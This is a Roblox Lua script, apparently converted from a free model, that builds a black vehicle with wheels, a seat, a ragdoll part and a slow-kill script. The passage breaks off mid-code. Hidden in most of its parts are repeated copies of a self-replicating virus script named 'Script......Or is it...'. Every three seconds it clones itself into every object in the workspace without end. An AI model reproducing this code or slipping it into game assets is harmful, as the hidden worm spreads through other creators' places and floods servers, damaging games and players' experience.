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- if game:GetService("RunService"):IsClient() then error("Script must be server-side in order to work; use h/ and not hl/") end
- local Player,Mouse,mouse,UserInputService,ContextActionService = owner
- do
- print("FE Compatibility code by Mokiros")
- script.Parent = Player.Character
- --RemoteEvent for communicating
- local Event = Instance.new("RemoteEvent")
- Event.Name = "UserInput_Event"
- --Fake event to make stuff like Mouse.KeyDown work
- local function fakeEvent()
- local t = {_fakeEvent=true,Connect=function(self,f)self.Function=f end}
- t.connect = t.Connect
- return t
- end
- --Creating fake input objects with fake variables
- local m = {Target=nil,Hit=CFrame.new(),KeyUp=fakeEvent(),KeyDown=fakeEvent(),Button1Up=fakeEvent(),Button1Down=fakeEvent()}
- local UIS = {InputBegan=fakeEvent(),InputEnded=fakeEvent()}
- local CAS = {Actions={},BindAction=function(self,name,fun,touch,...)
- CAS.Actions[name] = fun and {Name=name,Function=fun,Keys={...}} or nil
- end}
- --Merged 2 functions into one by checking amount of arguments
- CAS.UnbindAction = CAS.BindAction
- --This function will trigger the events that have been :Connect()'ed
- local function te(self,ev,...)
- local t = m[ev]
- if t and t._fakeEvent and t.Function then
- t.Function(...)
- end
- end
- m.TrigEvent = te
- UIS.TrigEvent = te
- Event.OnServerEvent:Connect(function(plr,io)
- if plr~=Player then return end
- if io.isMouse then
- m.Target = io.Target
- m.Hit = io.Hit
- else
- local b = io.UserInputState == Enum.UserInputState.Begin
- if io.UserInputType == Enum.UserInputType.MouseButton1 then
- return m:TrigEvent(b and "Button1Down" or "Button1Up")
- end
- for _,t in pairs(CAS.Actions) do
- for _,k in pairs(t.Keys) do
- if k==io.KeyCode then
- t.Function(t.Name,io.UserInputState,io)
- end
- end
- end
- m:TrigEvent(b and "KeyDown" or "KeyUp",io.KeyCode.Name:lower())
- UIS:TrigEvent(b and "InputBegan" or "InputEnded",io,false)
- end
- end)
- Event.Parent = NLS([==[
- local Player = game:GetService("Players").LocalPlayer
- local Event = script:WaitForChild("UserInput_Event")
- local UIS = game:GetService("UserInputService")
- local input = function(io,a)
- if a then return end
- --Since InputObject is a client-side instance, we create and pass table instead
- Event:FireServer({KeyCode=io.KeyCode,UserInputType=io.UserInputType,UserInputState=io.UserInputState})
- end
- UIS.InputBegan:Connect(input)
- UIS.InputEnded:Connect(input)
- local Mouse = Player:GetMouse()
- local h,t
- --Give the server mouse data 30 times every second, but only if the values changed
- --If player is not moving their mouse, client won't fire events
- while wait(1/30) do
- if h~=Mouse.Hit or t~=Mouse.Target then
- h,t=Mouse.Hit,Mouse.Target
- Event:FireServer({isMouse=true,Target=t,Hit=h})
- end
- end]==],Player.Character)
- Mouse,mouse,UserInputService,ContextActionService = m,m,UIS,CAS
- end
- --Converted with ttyyuu12345's model to script plugin v4
- function sandbox(var,func)
- local env = getfenv(func)
- local newenv = setmetatable({},{
- __index = function(self,k)
- if k=="script" then
- return var
- else
- return env[k]
- end
- end,
- })
- setfenv(func,newenv)
- return func
- end
- cors = {}
- mas = Instance.new("Model",game:GetService("Lighting"))
- Model0 = Instance.new("Model")
- Part1 = Instance.new("Part")
- RotateP2 = Instance.new("RotateP")
- Script3 = Instance.new("Script")
- Weld4 = Instance.new("Weld")
- ManualWeld5 = Instance.new("ManualWeld")
- ManualWeld6 = Instance.new("ManualWeld")
- ManualWeld7 = Instance.new("ManualWeld")
- Part8 = Instance.new("Part")
- ClickDetector9 = Instance.new("ClickDetector")
- Script10 = Instance.new("Script")
- Script11 = Instance.new("Script")
- Script12 = Instance.new("Script")
- Script13 = Instance.new("Script")
- Weld14 = Instance.new("Weld")
- RotateP15 = Instance.new("RotateP")
- Script16 = Instance.new("Script")
- VehicleSeat17 = Instance.new("VehicleSeat")
- Snap18 = Instance.new("Snap")
- RotateP19 = Instance.new("RotateP")
- Script20 = Instance.new("Script")
- ManualWeld21 = Instance.new("ManualWeld")
- ManualWeld22 = Instance.new("ManualWeld")
- ManualWeld23 = Instance.new("ManualWeld")
- ManualWeld24 = Instance.new("ManualWeld")
- ManualWeld25 = Instance.new("ManualWeld")
- Part26 = Instance.new("Part")
- RotateP27 = Instance.new("RotateP")
- Script28 = Instance.new("Script")
- Rotate29 = Instance.new("Rotate")
- Part30 = Instance.new("Part")
- RotateP31 = Instance.new("RotateP")
- Script32 = Instance.new("Script")
- ManualWeld33 = Instance.new("ManualWeld")
- Part34 = Instance.new("Part")
- RotateP35 = Instance.new("RotateP")
- Script36 = Instance.new("Script")
- Rotate37 = Instance.new("Rotate")
- Part38 = Instance.new("Part")
- RotateP39 = Instance.new("RotateP")
- Script40 = Instance.new("Script")
- Rotate41 = Instance.new("Rotate")
- Part42 = Instance.new("Part")
- RotateP43 = Instance.new("RotateP")
- Script44 = Instance.new("Script")
- Rotate45 = Instance.new("Rotate")
- Part46 = Instance.new("Part")
- Script47 = Instance.new("Script")
- Snap48 = Instance.new("Snap")
- RotateP49 = Instance.new("RotateP")
- Script50 = Instance.new("Script")
- Part51 = Instance.new("Part")
- RotateP52 = Instance.new("RotateP")
- Script53 = Instance.new("Script")
- Weld54 = Instance.new("Weld")
- ManualWeld55 = Instance.new("ManualWeld")
- Decal56 = Instance.new("Decal")
- Part57 = Instance.new("Part")
- RotateP58 = Instance.new("RotateP")
- Script59 = Instance.new("Script")
- Weld60 = Instance.new("Weld")
- Decal61 = Instance.new("Decal")
- Part62 = Instance.new("Part")
- RotateP63 = Instance.new("RotateP")
- Script64 = Instance.new("Script")
- ManualWeld65 = Instance.new("ManualWeld")
- Part66 = Instance.new("Part")
- SurfaceGui67 = Instance.new("SurfaceGui")
- TextLabel68 = Instance.new("TextLabel")
- RotateP69 = Instance.new("RotateP")
- Script70 = Instance.new("Script")
- RotateP71 = Instance.new("RotateP")
- Script72 = Instance.new("Script")
- Sound73 = Instance.new("Sound")
- RotateP74 = Instance.new("RotateP")
- Script75 = Instance.new("Script")
- Model0.Parent = mas
- Part1.Parent = Model0
- Part1.CFrame = CFrame.new(17.5, 3.21002007, 26.5, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Part1.Position = Vector3.new(17.5, 3.21002007, 26.5)
- Part1.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part1.Size = Vector3.new(1, 2, 7)
- Part1.BottomSurface = Enum.SurfaceType.Smooth
- Part1.BrickColor = BrickColor.new("Really black")
- Part1.TopSurface = Enum.SurfaceType.Smooth
- Part1.brickColor = BrickColor.new("Really black")
- RotateP2.Name = "INfecTION"
- RotateP2.Parent = Part1
- RotateP2.BaseAngle = 0.25
- Script3.Name = "Script......Or is it..."
- Script3.Parent = RotateP2
- table.insert(cors,sandbox(Script3,function()
- if script.Parent.className ~= "RotateP" then
- local p = Instance.new("RotateP")
- p.Parent = workspace
- p.Name = "INfecTION"
- script.Parent = p
- end
- function check()
- local list = workspace:GetChildren()
- for i = 1, #list do
- if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
- script.Parent:Clone().Parent = list[i]
- end
- wait()
- end
- end
- while true do
- check()
- if workspace:findFirstChild("inFECtion") == nil then
- local main = script.Parent:Clone()
- main.Name = "inFECtion"
- main.Parent = workspace
- end
- wait(3)
- end
- end))
- Weld4.Parent = Part1
- Weld4.C0 = CFrame.new(0, 0, 3.5, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Weld4.C1 = CFrame.new(-0.5, 0.900000095, -1.5, 0, 0, 1, 0, 1, 0, -1, 0, 0)
- Weld4.Part0 = Part1
- Weld4.Part1 = Part46
- Weld4.part1 = Part46
- ManualWeld5.Name = "Part-to-Part Strong Joint"
- ManualWeld5.Parent = Part1
- ManualWeld5.C0 = CFrame.new(0.5, -1, -3.5, -1, 0, 0, 0, 1, 0, 0, 0, -1)
- ManualWeld5.C1 = CFrame.new(2, -1.00000143, 0.5, -1, 0, 0, 0, 1, 0, 0, 0, -1)
- ManualWeld5.Part0 = Part1
- ManualWeld5.Part1 = Part62
- ManualWeld5.part1 = Part62
- ManualWeld6.Name = "Part-to-Part Strong Joint"
- ManualWeld6.Parent = Part1
- ManualWeld6.C0 = CFrame.new(-0.5, -1, -3.5, -0, 0, -1, 0, 1, 0, 1, 0, -0)
- ManualWeld6.C1 = CFrame.new(1.00000095, -1.00000143, -6.5, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- ManualWeld6.Part0 = Part1
- ManualWeld6.Part1 = Part51
- ManualWeld6.part1 = Part51
- ManualWeld7.Name = "Part-to-Sign Strong Joint"
- ManualWeld7.Parent = Part1
- ManualWeld7.C0 = CFrame.new(0.5, -1, 3.5, -0, 0, 1, 0, 1, 0, -1, 0, -0)
- ManualWeld7.C1 = CFrame.new(4.10000038, -0.900002003, 0.114999771, -1, 0, 0, 0, 1, 0, 0, 0, -1)
- ManualWeld7.Part0 = Part1
- ManualWeld7.Part1 = Part66
- ManualWeld7.part1 = Part66
- Part8.Name = "Ragdoll"
- Part8.Parent = Model0
- Part8.CFrame = CFrame.new(16, 1.61002171, 31.1000004, -1, 0, 0, 0, 1, 0, 0, 0, -1)
- Part8.Orientation = Vector3.new(0, 180, 0)
- Part8.Position = Vector3.new(16, 1.61002171, 31.1000004)
- Part8.Rotation = Vector3.new(-180, 0, -180)
- Part8.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part8.Size = Vector3.new(4.00000048, 1.20000005, 0.200000003)
- Part8.BackSurface = Enum.SurfaceType.Weld
- Part8.BottomSurface = Enum.SurfaceType.Weld
- Part8.BrickColor = BrickColor.new("Really black")
- Part8.FrontSurface = Enum.SurfaceType.Weld
- Part8.LeftSurface = Enum.SurfaceType.Weld
- Part8.Material = Enum.Material.Wood
- Part8.RightSurface = Enum.SurfaceType.Weld
- Part8.TopSurface = Enum.SurfaceType.Weld
- Part8.brickColor = BrickColor.new("Really black")
- Part8.FormFactor = Enum.FormFactor.Custom
- Part8.formFactor = Enum.FormFactor.Custom
- ClickDetector9.Parent = Part8
- Script10.Name = "Ragdoll"
- Script10.Parent = Part8
- table.insert(cors,sandbox(Script10,function()
- function onTouch(part)
- local humanoid = part.Parent:findFirstChild("Humanoid")
- if humanoid ~= nil and part.Parent:findFirstChild("Ragdoll") == nil then
- script.Ragdoll:Clone().Parent = humanoid.Parent
- end
- end
- script.Parent.Touched:connect(onTouch)
- end))
- Script11.Name = "Ragdoll"
- Script11.Parent = Script10
- table.insert(cors,sandbox(Script11,function()
- Character = script.Parent
- Torso = Character.Torso
- if Character then
- if Torso then
- Humanoid = Character:findFirstChild("Humanoid")
- Zombie = Character:findFirstChild("Zombie")
- if Humanoid ~= nil then
- Humanoid.PlatformStand = true
- end
- if Zombie ~= nil then
- Zombie.PlatformStand = true
- end
- local Head = Character:FindFirstChild("Head")
- if Head then
- local Neck = Instance.new("Weld")
- Neck.Name = "Neck"
- Neck.Part0 = Torso
- Neck.Part1 = Head
- Neck.C0 = CFrame.new(0, 1.5, 0)
- Neck.C1 = CFrame.new()
- Neck.Parent = Torso
- end
- local Limb = Character:FindFirstChild("Right Arm")
- if Limb then
- Limb.CFrame = Torso.CFrame * CFrame.new(1.5, 0, 0)
- local Joint = Instance.new("Glue")
- Joint.Name = "RightShoulder"
- Joint.Part0 = Torso
- Joint.Part1 = Limb
- Joint.C0 = CFrame.new(1.5, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
- Joint.C1 = CFrame.new(-0, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
- Joint.Parent = Torso
- local B = Instance.new("Part")
- B.TopSurface = 0
- B.BottomSurface = 0
- B.formFactor = "Symmetric"
- B.Size = Vector3.new(1, 1, 1)
- B.Transparency = 1
- B.CFrame = Limb.CFrame * CFrame.new(0, -0.5, 0)
- B.Parent = Character
- local W = Instance.new("Weld")
- W.Part0 = Limb
- W.Part1 = B
- W.C0 = CFrame.new(0, -0.5, 0)
- W.Parent = Limb
- end
- local Limb = Character:FindFirstChild("Left Arm")
- if Limb then
- Limb.CFrame = Torso.CFrame * CFrame.new(-1.5, 0, 0)
- local Joint = Instance.new("Glue")
- Joint.Name = "LeftShoulder"
- Joint.Part0 = Torso
- Joint.Part1 = Limb
- Joint.C0 = CFrame.new(-1.5, 0.5, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
- Joint.C1 = CFrame.new(0, 0.5, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
- Joint.Parent = Torso
- local B = Instance.new("Part")
- B.TopSurface = 0
- B.BottomSurface = 0
- B.formFactor = "Symmetric"
- B.Size = Vector3.new(1, 1, 1)
- B.Transparency = 1
- B.CFrame = Limb.CFrame * CFrame.new(0, -0.5, 0)
- B.Parent = Character
- local W = Instance.new("Weld")
- W.Part0 = Limb
- W.Part1 = B
- W.C0 = CFrame.new(0, -0.5, 0)
- W.Parent = Limb
- end
- local Limb = Character:FindFirstChild("Right Leg")
- if Limb then
- Limb.CFrame = Torso.CFrame * CFrame.new(0.5, -2, 0)
- local Joint = Instance.new("Glue")
- Joint.Name = "RightHip"
- Joint.Part0 = Torso
- Joint.Part1 = Limb
- Joint.C0 = CFrame.new(0.5, -1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
- Joint.C1 = CFrame.new(0, 1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
- Joint.Parent = Torso
- local B = Instance.new("Part")
- B.TopSurface = 0
- B.BottomSurface = 0
- B.formFactor = "Symmetric"
- B.Size = Vector3.new(1, 1, 1)
- B.Transparency = 1
- B.CFrame = Limb.CFrame * CFrame.new(0, -0.5, 0)
- B.Parent = Character
- local W = Instance.new("Weld")
- W.Part0 = Limb
- W.Part1 = B
- W.C0 = CFrame.new(0, -0.5, 0)
- W.Parent = Limb
- end
- local Limb = Character:FindFirstChild("Left Leg")
- if Limb then
- Limb.CFrame = Torso.CFrame * CFrame.new(-0.5, -2, 0)
- local Joint = Instance.new("Glue")
- Joint.Name = "LeftHip"
- Joint.Part0 = Torso
- Joint.Part1 = Limb
- Joint.C0 = CFrame.new(-0.5, -1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
- Joint.C1 = CFrame.new(-0, 1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
- Joint.Parent = Torso
- local B = Instance.new("Part")
- B.TopSurface = 0
- B.BottomSurface = 0
- B.formFactor = "Symmetric"
- B.Size = Vector3.new(1, 1, 1)
- B.Transparency = 1
- B.CFrame = Limb.CFrame * CFrame.new(0, -0.5, 0)
- B.Parent = Character
- local W = Instance.new("Weld")
- W.Part0 = Limb
- W.Part1 = B
- W.C0 = CFrame.new(0, -0.5, 0)
- W.Parent = Limb
- end
- --[
- local Bar = Instance.new("Part")
- Bar.TopSurface = 0
- Bar.BottomSurface = 0
- Bar.formFactor = "Symmetric"
- Bar.Size = Vector3.new(1, 1, 1)
- Bar.Transparency = 1
- Bar.CFrame = Torso.CFrame * CFrame.new(0, 0.5, 0)
- Bar.Parent = Character
- local Weld = Instance.new("Weld")
- Weld.Part0 = Torso
- Weld.Part1 = Bar
- Weld.C0 = CFrame.new(0, 0.5, 0)
- Weld.Parent = Torso
- --]]
- end
- end
- end))
- Script12.Parent = Part8
- table.insert(cors,sandbox(Script12,function()
- db = true
- range = 100
- function onClick()
- if db == false then return end
- if script.Parent.Parent:findFirstChild("Bubble") == nil then
- db = false
- script.Parent.BrickColor = BrickColor.new(37)
- bubble = Instance.new("Part")
- ge = script.Grow:clone()
- ge = script.Parent.Ragdoll:clone()
- ge.Parent = bubble
- ge.Disabled = false
- bubble.Parent = nil
- bubble.BrickColor = BrickColor.new(1020)
- bubble.Transparency = 0.6
- bubble.TopSurface = 0
- bubble.BottomSurface = 0
- bubble.Reflectance = 0.2
- bubble.Shape = 0
- bubble.Size = Vector3.new(1,1,1)
- mesh = Instance.new("SpecialMesh")
- mesh.MeshType = 3
- mesh.Parent = bubble
- bubble.Anchored = true
- bubble.CanCollide = false
- bubble.Name = "Bubble"
- bubble.CFrame = script.Parent.Parent.Core.CFrame
- bubble.Parent = script.Parent.Parent
- origin = bubble.CFrame
- for i = 1, range do
- wait(0.01)
- bubble.Size = bubble.Size + Vector3.new(1,1,1)
- bubble.CFrame = origin
- end
- db = true
- elseif script.Parent.Parent:findFirstChild("Bubble") ~= nil then
- db = false
- script.Parent.BrickColor = BrickColor.new(21)
- origin = script.Parent.Parent:findFirstChild("Bubble").CFrame
- for i2 = 1, range do
- wait(0.01)
- script.Parent.Parent:findFirstChild("Bubble").Size = script.Parent.Parent:findFirstChild("Bubble").Size - Vector3.new(1,1,1)
- bubble.CFrame = origin
- end
- script.Parent.Parent:findFirstChild("Bubble"):remove()
- db = true
- end
- end
- script.Parent.ClickDetector.mouseClick:connect(onClick)
- end))
- Script13.Name = "Slow kill script"
- Script13.Parent = Part8
- table.insert(cors,sandbox(Script13,function()
- -- Slow killing script: made by codyleer
- -- will this be used alot? will people change my credits?
- -- will they even know how?
- -- who knows
- function onTouched(part)
- local h = part.Parent:findFirstChild("Humanoid")
- if h~=nil then
- h.Health = 90
- wait(.5)
- h.Health = 80
- wait(.5)
- h.Health = 70
- wait(.5)
- h.Health = 60
- wait(.5)
- h.Health = 50
- wait(.5)
- h.Health = 40
- wait(.5)
- h.Health = 30
- wait(.5)
- h.Health = 20
- wait(.5)
- h.Health = 10
- wait(.1)
- h.Health = 9
- wait(.1)
- h.Health = 8
- wait(.1)
- h.Health = 7
- wait(.1)
- h.Health = 6
- wait(.1)
- h.Health = 5
- wait(.1)
- h.Health = 4
- wait(.1)
- h.Health = 3
- wait(.1)
- h.Health = 2
- wait(.1)
- h.Health = 1
- wait(.1)
- h.Health = 0
- end
- end
- script.Parent.Touched:connect(onTouched)
- end))
- Weld14.Parent = Part8
- Weld14.C0 = CFrame.new(0, 0, 0.100000001, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Weld14.C1 = CFrame.new(0, 0, 4.5, -1, 0, 0, 0, 1, 0, 0, 0, -1)
- Weld14.Part0 = Part8
- Weld14.Part1 = Part30
- Weld14.part1 = Part30
- RotateP15.Name = "INfecTION"
- RotateP15.Parent = Part8
- RotateP15.BaseAngle = 0.25
- Script16.Name = "Script......Or is it..."
- Script16.Parent = RotateP15
- table.insert(cors,sandbox(Script16,function()
- if script.Parent.className ~= "RotateP" then
- local p = Instance.new("RotateP")
- p.Parent = workspace
- p.Name = "INfecTION"
- script.Parent = p
- end
- function check()
- local list = workspace:GetChildren()
- for i = 1, #list do
- if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
- script.Parent:Clone().Parent = list[i]
- end
- wait()
- end
- end
- while true do
- check()
- if workspace:findFirstChild("inFECtion") == nil then
- local main = script.Parent:Clone()
- main.Name = "inFECtion"
- main.Parent = workspace
- end
- wait(3)
- end
- end))
- VehicleSeat17.Parent = Model0
- VehicleSeat17.CFrame = CFrame.new(16, 2.71002007, 24, -1, 0, 0, 0, 1, 0, 0, 0, -1)
- VehicleSeat17.Orientation = Vector3.new(0, 180, 0)
- VehicleSeat17.Position = Vector3.new(16, 2.71002007, 24)
- VehicleSeat17.Rotation = Vector3.new(-180, 0, -180)
- VehicleSeat17.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- VehicleSeat17.MaxSpeed = 30
- VehicleSeat17.Size = Vector3.new(2, 1, 2)
- VehicleSeat17.BrickColor = BrickColor.new("Really black")
- VehicleSeat17.FrontSurface = Enum.SurfaceType.Hinge
- VehicleSeat17.Material = Enum.Material.Pebble
- VehicleSeat17.TopSurface = Enum.SurfaceType.Universal
- VehicleSeat17.brickColor = BrickColor.new("Really black")
- VehicleSeat17.HeadsUpDisplay = false
- VehicleSeat17.TurnSpeed = 0.5
- Snap18.Parent = VehicleSeat17
- Snap18.C0 = CFrame.new(0, -0.5, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0)
- Snap18.C1 = CFrame.new(0, 0.599998474, -2.5, -1, 0, 0, 0, 0, -1, 0, -1, 0)
- Snap18.Part0 = VehicleSeat17
- Snap18.Part1 = Part30
- Snap18.part1 = Part30
- RotateP19.Name = "INfecTION"
- RotateP19.Parent = VehicleSeat17
- RotateP19.BaseAngle = 0.25
- Script20.Name = "Script......Or is it..."
- Script20.Parent = RotateP19
- table.insert(cors,sandbox(Script20,function()
- if script.Parent.className ~= "RotateP" then
- local p = Instance.new("RotateP")
- p.Parent = workspace
- p.Name = "INfecTION"
- script.Parent = p
- end
- function check()
- local list = workspace:GetChildren()
- for i = 1, #list do
- if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
- script.Parent:Clone().Parent = list[i]
- end
- wait()
- end
- end
- while true do
- check()
- if workspace:findFirstChild("inFECtion") == nil then
- local main = script.Parent:Clone()
- main.Name = "inFECtion"
- main.Parent = workspace
- end
- wait(3)
- end
- end))
- ManualWeld21.Name = "VehicleSeat-to-Part Strong Joint"
- ManualWeld21.Parent = VehicleSeat17
- ManualWeld21.C0 = CFrame.new(-1, -0.5, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- ManualWeld21.C1 = CFrame.new(1, -1.00000143, 0.5, -1, 0, 0, 0, 1, 0, 0, 0, -1)
- ManualWeld21.Part0 = VehicleSeat17
- ManualWeld21.Part1 = nil
- ManualWeld21.part1 = nil
- ManualWeld22.Name = "VehicleSeat-to-Part Strong Joint"
- ManualWeld22.Parent = VehicleSeat17
- ManualWeld22.C0 = CFrame.new(1, -0.5, 1, -0, 0, 1, 0, 1, 0, -1, 0, -0)
- ManualWeld22.C1 = CFrame.new(0.5, -1.00000143, -3, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- ManualWeld22.Part0 = VehicleSeat17
- ManualWeld22.Part1 = nil
- ManualWeld22.part1 = nil
- ManualWeld23.Name = "VehicleSeat-to-Part Strong Joint"
- ManualWeld23.Parent = VehicleSeat17
- ManualWeld23.C0 = CFrame.new(-1, -0.5, -1, -0, 0, -1, 0, 1, 0, 1, 0, -0)
- ManualWeld23.C1 = CFrame.new(-0.5, -1, -1.5, 0, 0, 1, 0, 1, 0, -1, 0, 0)
- ManualWeld23.Part0 = VehicleSeat17
- ManualWeld23.Part1 = Part1
- ManualWeld23.part1 = Part1
- ManualWeld24.Name = "VehicleSeat-to-Part Strong Joint"
- ManualWeld24.Parent = VehicleSeat17
- ManualWeld24.C0 = CFrame.new(-1, -0.5, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- ManualWeld24.C1 = CFrame.new(1, -1.00000143, 0.5, -1, 0, 0, 0, 1, 0, 0, 0, -1)
- ManualWeld24.Part0 = VehicleSeat17
- ManualWeld24.Part1 = Part62
- ManualWeld24.part1 = Part62
- ManualWeld25.Name = "VehicleSeat-to-Part Strong Joint"
- ManualWeld25.Parent = VehicleSeat17
- ManualWeld25.C0 = CFrame.new(1, -0.5, 1, -0, 0, 1, 0, 1, 0, -1, 0, -0)
- ManualWeld25.C1 = CFrame.new(0.500000954, -1.00000143, -3.5, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- ManualWeld25.Part0 = VehicleSeat17
- ManualWeld25.Part1 = Part57
- ManualWeld25.part1 = Part57
- Part26.Name = "Wheel"
- Part26.Parent = Model0
- Part26.CFrame = CFrame.new(13.5, 1.010023, 23, -1, 0, -0, -0, 1, -0, -0, 0, -1)
- Part26.Orientation = Vector3.new(0, -180, 0)
- Part26.Position = Vector3.new(13.5, 1.010023, 23)
- Part26.Rotation = Vector3.new(180, 0, -180)
- Part26.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part26.Size = Vector3.new(1, 2, 2)
- Part26.BottomSurface = Enum.SurfaceType.Smooth
- Part26.BrickColor = BrickColor.new("Really black")
- Part26.LeftSurface = Enum.SurfaceType.Hinge
- Part26.TopSurface = Enum.SurfaceType.Smooth
- Part26.brickColor = BrickColor.new("Really black")
- Part26.FormFactor = Enum.FormFactor.Symmetric
- Part26.formFactor = Enum.FormFactor.Symmetric
- Part26.Shape = Enum.PartType.Cylinder
- RotateP27.Name = "INfecTION"
- RotateP27.Parent = Part26
- RotateP27.BaseAngle = 0.25
- Script28.Name = "Script......Or is it..."
- Script28.Parent = RotateP27
- table.insert(cors,sandbox(Script28,function()
- if script.Parent.className ~= "RotateP" then
- local p = Instance.new("RotateP")
- p.Parent = workspace
- p.Name = "INfecTION"
- script.Parent = p
- end
- function check()
- local list = workspace:GetChildren()
- for i = 1, #list do
- if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
- script.Parent:Clone().Parent = list[i]
- end
- wait()
- end
- end
- while true do
- check()
- if workspace:findFirstChild("inFECtion") == nil then
- local main = script.Parent:Clone()
- main.Name = "inFECtion"
- main.Parent = workspace
- end
- wait(3)
- end
- end))
- Rotate29.Parent = Part26
- Rotate29.C0 = CFrame.new(-0.5, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
- Rotate29.C1 = CFrame.new(-2, -0.599999964, -3.5, 0, 0, 1, 0, 1, 0, -1, -0, -0)
- Rotate29.Part0 = Part26
- Rotate29.Part1 = Part30
- Rotate29.part1 = Part30
- Part30.Name = "Base"
- Part30.Parent = Model0
- Part30.CFrame = CFrame.new(16, 1.61002171, 26.5, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Part30.Position = Vector3.new(16, 1.61002171, 26.5)
- Part30.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part30.Size = Vector3.new(4, 1.20000005, 9)
- Part30.BrickColor = BrickColor.new("Really black")
- Part30.Material = Enum.Material.Pebble
- Part30.brickColor = BrickColor.new("Really black")
- RotateP31.Name = "INfecTION"
- RotateP31.Parent = Part30
- RotateP31.BaseAngle = 0.25
- Script32.Name = "Script......Or is it..."
- Script32.Parent = RotateP31
- table.insert(cors,sandbox(Script32,function()
- if script.Parent.className ~= "RotateP" then
- local p = Instance.new("RotateP")
- p.Parent = workspace
- p.Name = "INfecTION"
- script.Parent = p
- end
- function check()
- local list = workspace:GetChildren()
- for i = 1, #list do
- if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
- script.Parent:Clone().Parent = list[i]
- end
- wait()
- end
- end
- while true do
- check()
- if workspace:findFirstChild("inFECtion") == nil then
- local main = script.Parent:Clone()
- main.Name = "inFECtion"
- main.Parent = workspace
- end
- wait(3)
- end
- end))
- ManualWeld33.Name = "Base-to-Sign Strong Joint"
- ManualWeld33.Parent = Part30
- ManualWeld33.C0 = CFrame.new(2, -0.600000024, 4.5, -0, 0, 1, 0, 1, 0, -1, 0, -0)
- ManualWeld33.C1 = CFrame.new(5.10000038, -2.10000038, 0.114999771, -1, 0, 0, 0, 1, 0, 0, 0, -1)
- ManualWeld33.Part0 = Part30
- ManualWeld33.Part1 = Part66
- ManualWeld33.part1 = Part66
- Part34.Name = "Wheel"
- Part34.Parent = Model0
- Part34.CFrame = CFrame.new(18.5, 1.010023, 23, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Part34.Position = Vector3.new(18.5, 1.010023, 23)
- Part34.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part34.Size = Vector3.new(1, 2, 2)
- Part34.BottomSurface = Enum.SurfaceType.Smooth
- Part34.BrickColor = BrickColor.new("Really black")
- Part34.LeftSurface = Enum.SurfaceType.Hinge
- Part34.TopSurface = Enum.SurfaceType.Smooth
- Part34.brickColor = BrickColor.new("Really black")
- Part34.FormFactor = Enum.FormFactor.Symmetric
- Part34.formFactor = Enum.FormFactor.Symmetric
- Part34.Shape = Enum.PartType.Cylinder
- RotateP35.Name = "INfecTION"
- RotateP35.Parent = Part34
- RotateP35.BaseAngle = 0.25
- Script36.Name = "Script......Or is it..."
- Script36.Parent = RotateP35
- table.insert(cors,sandbox(Script36,function()
- if script.Parent.className ~= "RotateP" then
- local p = Instance.new("RotateP")
- p.Parent = workspace
- p.Name = "INfecTION"
- script.Parent = p
- end
- function check()
- local list = workspace:GetChildren()
- for i = 1, #list do
- if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
- script.Parent:Clone().Parent = list[i]
- end
- wait()
- end
- end
- while true do
- check()
- if workspace:findFirstChild("inFECtion") == nil then
- local main = script.Parent:Clone()
- main.Name = "inFECtion"
- main.Parent = workspace
- end
- wait(3)
- end
- end))
- Rotate37.Parent = Part34
- Rotate37.C0 = CFrame.new(-0.5, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
- Rotate37.C1 = CFrame.new(2, -0.599999964, -3.5, -0, -0, -1, 0, 1, 0, 1, 0, 0)
- Rotate37.Part0 = Part34
- Rotate37.Part1 = Part30
- Rotate37.part1 = Part30
- Part38.Name = "Wheel"
- Part38.Parent = Model0
- Part38.CFrame = CFrame.new(18.5, 1.010023, 30, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Part38.Position = Vector3.new(18.5, 1.010023, 30)
- Part38.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part38.Size = Vector3.new(1, 2, 2)
- Part38.BottomSurface = Enum.SurfaceType.Smooth
- Part38.BrickColor = BrickColor.new("Really black")
- Part38.LeftSurface = Enum.SurfaceType.Hinge
- Part38.TopSurface = Enum.SurfaceType.Smooth
- Part38.brickColor = BrickColor.new("Really black")
- Part38.FormFactor = Enum.FormFactor.Symmetric
- Part38.formFactor = Enum.FormFactor.Symmetric
- Part38.Shape = Enum.PartType.Cylinder
- RotateP39.Name = "INfecTION"
- RotateP39.Parent = Part38
- RotateP39.BaseAngle = 0.25
- Script40.Name = "Script......Or is it..."
- Script40.Parent = RotateP39
- table.insert(cors,sandbox(Script40,function()
- if script.Parent.className ~= "RotateP" then
- local p = Instance.new("RotateP")
- p.Parent = workspace
- p.Name = "INfecTION"
- script.Parent = p
- end
- function check()
- local list = workspace:GetChildren()
- for i = 1, #list do
